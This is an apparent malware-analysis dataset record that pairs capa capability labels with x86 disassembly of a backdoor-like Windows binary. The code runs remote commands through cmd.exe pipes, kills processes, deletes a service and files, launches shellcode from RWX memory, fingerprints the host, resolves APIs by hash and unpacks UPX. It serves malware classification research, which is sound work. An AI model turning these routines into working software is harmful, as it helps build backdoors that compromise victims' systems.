joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402500
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x104
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x402542
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor al, al
jmp 0x4025de
push 9
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
call fcn.00402290
add esp, 4
mov ecx, dword [ebp + 8]
cmp dword [ecx], 0
je 0x4025a1
mov edx, dword [ebp + 0xc]
cmp dword [edx], 0
je 0x4025a1
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov esi, eax
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
lea ecx, [esi + eax + 0xa]
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
push str..exe
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
mov al, 1
pop esi
pop ebp
ret
Function at 0x402c20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
push esi
push edi
call fcn.00403bf0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x403f70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402c91
mov ecx, 8
mov esi, 0x408650
lea edi, [ebp - 0x3c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
movzx ecx, byte [0x40a00e]
push ecx
lea edx, [ebp - 0x3c]
push edx
call fcn.00403b40
add esp, 8
lea eax, [ebp - 0x3c]
push eax
push 0x408674
call fcn.00404560
add esp, 8
mov eax, 1
jmp 0x402e3a
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x10]
push edx
push 0
push 0
push 0x4040c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402cfb
mov ecx, 9
mov esi, 0x408678
lea edi, [ebp - 0x64]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movzx eax, byte [0x40a00e]
push eax
lea ecx, [ebp - 0x64]
push ecx
call fcn.00403b40
add esp, 8
lea edx, [ebp - 0x64]
push edx
push 0x4086a0
call fcn.00404560
add esp, 8
mov eax, 1
jmp 0x402e3a
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00404260
nop
mov ecx, 1
test ecx, ecx
je 0x402db5
call fcn.00403120
test eax, eax
je 0x402daa
push 0x401
call fcn.0040621b
add esp, 4
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 8], edx
mov eax, 1
test eax, eax
je 0x402d91
push 0x401
push 0
mov ecx, dword [ebp - 8]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0
push 0x400
mov edx, dword [ebp - 8]
push edx
mov eax, dword [section..data]
push eax
call fcn.00401ae0
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x402d8d
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00403260
add esp, 8
mov dword [ebp - 0xc], eax
jmp 0x402d8f
jmp 0x402d91
jmp 0x402d3b
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00406224
add esp, 4
mov dword [ebp - 8], 0
call fcn.004031f0
nop
jmp 0x402d0b
call fcn.00401810
lea edx, [ebp - 0x10]
push edx
push 0
push 0
push 0x403c90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402e2e
mov ecx, 9
mov esi, str.O_1O
lea edi, [ebp - 0x8c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
movzx eax, byte [0x40a00e]
push eax
lea ecx, [ebp - 0x8c]
push ecx
call fcn.00403b40
add esp, 8
lea edx, [ebp - 0x8c]
push edx
push 0x4086cc
call fcn.00404560
add esp, 8
push 0x4086d0
call fcn.00404560
add esp, 4
mov eax, 1
jmp 0x402e3a
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402e50
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x99c
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0x12c
push 0
lea eax, [ebp - 0x19c]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x800
push 0
lea ecx, [ebp - 0x99c]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 1
push 0
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x402ed8
jmp 0x402fed
mov dword [ebp - 0x60], 0x44
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x24], ecx
xor edx, edx
mov word [ebp - 0x30], dx
mov dword [ebp - 0x34], 0x101
push 0x12c
lea eax, [ebp - 0x19c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.cmd.exe__c
lea ecx, [ebp - 0x19c]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x19c]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x60]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
lea eax, [ebp - 0x19c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x402f6c
jmp 0x402fed
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov edx, 1
test edx, edx
je 0x402fdb
push 0
lea eax, [ebp - 0xc]
push eax
push 0x800
lea ecx, [ebp - 0x99c]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x402fa2
jmp 0x402fdb
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp - 0x99c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401980
push 0x800
push 0
lea eax, [ebp - 0x99c]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x402f77
push 0
push 1
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401980
nop
cmp dword [ebp - 8], 0
je 0x402ffe
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp dword [ebp - 4], 0
je 0x40300f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x403020
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x403056
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x403070
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x138], 0x128
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0
cmp dword [ebp - 8], 0
je 0x4030ed
push 0
push 0
push 0x12c
lea edx, [ebp - 0x138]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401980
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
jmp 0x4030b0
mov dword [ebp - 0x10], 1
push 0
push 0
push 0x12c
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401980
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4031f0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x40c510], 0
je 0x403230
push 0
mov eax, dword [0x40c510]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0xffffffffffffffff
mov ecx, dword [0x40c510]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [0x40c510]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x40c510], 0
cmp dword [section..data], 0xffffffff
je 0x403245
mov eax, dword [section..data]
push eax
call fcn.00401b70
nop
mov dword [section..data], 0xffffffff
mov eax, 1
pop ebp
ret
Function at 0x403260
Capabilities:
Create process on windows
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d0
push esi
push edi
mov dword [ebp - 0x18], 0
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, 4
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0xdb
ja case.0x4032a4.1
mov edx, dword [ebp - 4]
movzx eax, byte [edx + 0x403504]
jmp dword [eax*4 + 0x4034d0]
call fcn.00404450
call fcn.004031f0
nop
jmp case.0x4032a4.1
call fcn.004031f0
nop
jmp case.0x4032a4.1
mov ecx, dword [section..data]
push ecx
call fcn.00403070
add esp, 4
jmp case.0x4032a4.1
mov edx, dword [ebp + 8]
mov eax, dword [edx + 1]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00403020
add esp, 4
mov dword [ebp - 0x14], eax
push 5
push 0
lea edx, [ebp - 0xc]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 4
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0xc]
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0
push 3
push 4
lea edx, [ebp - 0xc]
push edx
mov eax, dword [section..data]
push eax
call fcn.00401980
nop
jmp case.0x4032a4.1
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
push 0x40870c
push 0x40c518
call fcn.00401720
add esp, 0xc
push 0x40c518
mov edx, dword [section..data]
push edx
call fcn.00402e50
add esp, 8
jmp case.0x4032a4.1
mov eax, dword [section..data]
push eax
call section..text
nop
jmp case.0x4032a4.1
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
push 0x408710
push 0x40c518
call fcn.00401720
add esp, 0xc
push 0x40c518
mov edx, dword [section..data]
push edx
call fcn.00401130
nop
jmp case.0x4032a4.1
push 0
push 0
push 0xb8
lea eax, [ebp - 0x2d0]
push eax
mov ecx, dword [section..data]
push ecx
call fcn.00401ae0
sub esp, 0xb8
mov ecx, 0x2e
lea esi, [ebp - 0x2d0]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
mov edx, dword [section..data]
push edx
call fcn.00401570
nop
jmp case.0x4032a4.1
mov eax, dword [ebp + 8]
add eax, 1
push eax
push 0x408714
push 0x40c518
call fcn.00401720
add esp, 0xc
push 0
push 0
push 0
push 0x4035e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
jmp case.0x4032a4.1
push 0xff
push 0
lea ecx, [ebp - 0x118]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov edx, dword [ebp + 8]
add edx, 1
push edx
push 0x408718
lea eax, [ebp - 0x118]
push eax
call fcn.00401720
add esp, 0xc
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
jmp case.0x4032a4.1
push 0xff
push 0
lea edx, [ebp - 0x218]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, 1
push eax
push 0x40871c
lea ecx, [ebp - 0x218]
push ecx
call fcn.00401720
add esp, 0xc
push 1
push 0
push 0
lea edx, [ebp - 0x218]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
jmp case.0x4032a4.1
cmp dword [0x40c510], 0
jne case.0x4032a4.1
push 0
push 0
push 0
push 0x4036e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404260
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
push edi
mov eax, dword [0x40a014]
push eax
push 0x40a018
call fcn.00403b70
add esp, 8
push 0x40
push 0x3000
mov ecx, dword [0x40a014]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
mov edx, dword [0x40a014]
push edx
push 0x40a018
call fcn.00403bb0
add esp, 8
mov eax, dword [0x40a014]
push eax
push 0x40a018
mov ecx, dword [ebp - 4]
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0
push 0
push 0
mov edx, dword [ebp - 4]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x404319
mov ecx, 8
mov esi, 0x4085e0
lea edi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movzx eax, byte [0x40a00e]
push eax
lea ecx, [ebp - 0x2c]
push ecx
call fcn.00403b40
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [ebp - 0x2c]
push edx
push str._s_d_n
call fcn.00404560
add esp, 0xc
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404450
Capabilities:
Delete service
Get common file path
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
push 0x104
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.winnet.exe
lea ecx, [ebp - 0x12c]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
push 0xf01ff
push str.IIS_Angent
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4044bb
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
jmp 0x404511
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x404506
cmp dword [ebp - 0x24], 1
je 0x404506
lea eax, [ebp - 0x28]
push eax
push 1
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x404506
cmp dword [ebp - 0x24], 3
jne 0x404506
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
nop
jmp 0x4044e7
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
nop
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x26c]
push ecx
lea edx, [ebp - 0x12c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x404558
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
nop
mov esp, ebp
pop ebp
ret
Function at 0x405f90
Capabilities:
Check os version
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a0
mov dword [ebp - 4], 0x100
push 0x100
push 0
lea eax, [ebp - 0x1a0]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x1a0]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x405fd2
xor al, al
jmp 0x4061d0
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x1a0], 0
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp + 8]
mov byte [eax + edx], 0
lea ecx, [ebp - 0x1a0]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
mov dword [ebp - 8], 0x100
push 0x100
push 0
lea eax, [ebp - 0x2a0]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x2a0]
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x406038
xor al, al
jmp 0x4061d0
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0x2a0], 0
push 0x408728
mov ecx, dword [ebp + 8]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
lea edx, [ebp - 0x2a0]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp + 8]
mov byte [eax + edx + 0x40], 0
push 0x94
push 0
lea ecx, [ebp - 0xa0]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0xa0], 0x94
lea edx, [ebp - 0xa0]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x4060af
xor al, al
jmp 0x4061d0
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
je 0x40615e
cmp dword [ebp - 0xc], 2
je 0x4060cd
jmp 0x4061aa
cmp dword [ebp - 0x9c], 5
jne 0x4060f3
cmp dword [ebp - 0x98], 2
jne 0x4060f3
push str.Windows2003
mov ecx, dword [ebp + 8]
add ecx, 0x40
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
cmp dword [ebp - 0x9c], 5
jne 0x406119
cmp dword [ebp - 0x98], 1
jne 0x406119
push str.WindowsXP
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
cmp dword [ebp - 0x9c], 5
jne 0x40613f
cmp dword [ebp - 0x98], 0
jne 0x40613f
push str.Windows2000
mov eax, dword [ebp + 8]
add eax, 0x40
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
cmp dword [ebp - 0x9c], 4
ja 0x40615c
push str.WindowsNT
mov ecx, dword [ebp + 8]
add ecx, 0x40
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
jmp 0x4061aa
cmp dword [ebp - 0x9c], 4
jne 0x406184
cmp dword [ebp - 0x98], 0
jne 0x406184
push str.Windows95
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
cmp dword [ebp - 0x9c], 4
jne 0x4061aa
cmp dword [ebp - 0x98], 0xa
jne 0x4061aa
push str.Windows98
mov eax, dword [ebp + 8]
add eax, 0x40
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp + 8]
mov byte [eax + edx + 0x4c], 0
push str.060211
mov ecx, dword [ebp + 8]
add ecx, 0x4c
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x406a7d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406abc
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406abc
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406abc
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406abc
cmp dword [ecx + 0x74], 0xe
jbe 0x406abc
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x65f270
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1d2000]
push edi
or ebp, 0xffffffff
jmp 0x65f292
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x65f299
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x65f288
mov eax, 1
add ebx, ebx
jne 0x65f2ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x65f2bc
jne 0x65f2db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x65f2db
dec eax
add ebx, ebx
jne 0x65f2c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x65f2a0
add ebx, ebx
jne 0x65f2d7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x65f32d
xor ecx, ecx
sub eax, 3
jb 0x65f2f3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x65f362
sar eax, 1
mov ebp, eax
jmp 0x65f2fe
add ebx, ebx
jne 0x65f2fe
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x65f2cc
inc ecx
add ebx, ebx
jne 0x65f30c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x65f2cc
add ebx, ebx
jne 0x65f319
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x65f30e
jne 0x65f32a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x65f30e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x65f34c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x65f33e
jmp 0x65f28e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x65f34c
add edi, ecx
jmp 0x65f28e
pop esi
mov edi, esi
mov ecx, 0x2216a5
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0x65f387
cmp byte [edi], 0x18
jne 0x65f36c
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0x65f36a
lea edi, [esi + 0x25d000]
mov eax, dword [edi]
or eax, eax
je 0x65f3d8
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2604a8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2604e4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x65f38d
mov ecx, edi
jns 0x65f3bc
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2604e8]
or eax, eax
je 0x65f3d2
mov dword [ebx], eax
add ebx, 4
jmp 0x65f3aa
call dword [esi + 0x2604f8]
mov ebp, dword [esi + 0x2604ec]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1cf]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x65f40c
sub esp, 0xffffff80
jmp 0x401380
Function at 0x480198
Capabilities:
Parse pe header

Disassembly:
pushal
xor edx, edx
mov esi, dword fs:[edx]
lodsd eax, dword [esi]
cmp eax, 0xffffffff
je 0x4801a8
mov esi, eax
jmp 0x48019e
mov edi, dword [esi + 4]
and edi, 0xffff0000
cmp word [edi], 0x5a4d
je 0x4801c0
sub edi, 0x10000
jmp 0x4801b1
mov ebx, edi
add ebx, dword [ebx + 0x3c]
cmp word [ebx], 0x4550
je 0x4801ce
jmp 0x4801b1
mov dword [esp + 0x1c], edi
popal
ret

Function at 0x4801d4
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
pushal
mov ebx, dword [esp + 0x24]
mov ecx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
add ebx, ecx
mov edi, dword [ebx + 0x20]
add edi, ecx
xor esi, esi
lea edx, [edi + esi*4]
mov edx, dword [edx]
add edx, ecx
xor eax, eax
rol eax, 7
xor al, byte [edx]
inc edx
cmp byte [edx], 0
jne 0x4801f3
cmp eax, dword [esp + 0x28]
je 0x48020a
inc esi
cmp esi, dword [ebx + 0x18]
jb 0x4801ea
mov edx, dword [ebx + 0x24]
add edx, ecx
movzx edx, word [edx + esi*2]
mov eax, dword [ebx + 0x1c]
add eax, ecx
mov eax, dword [eax + edx*4]
add eax, ecx
mov dword [esp + 0x1c], eax
popal
ret 8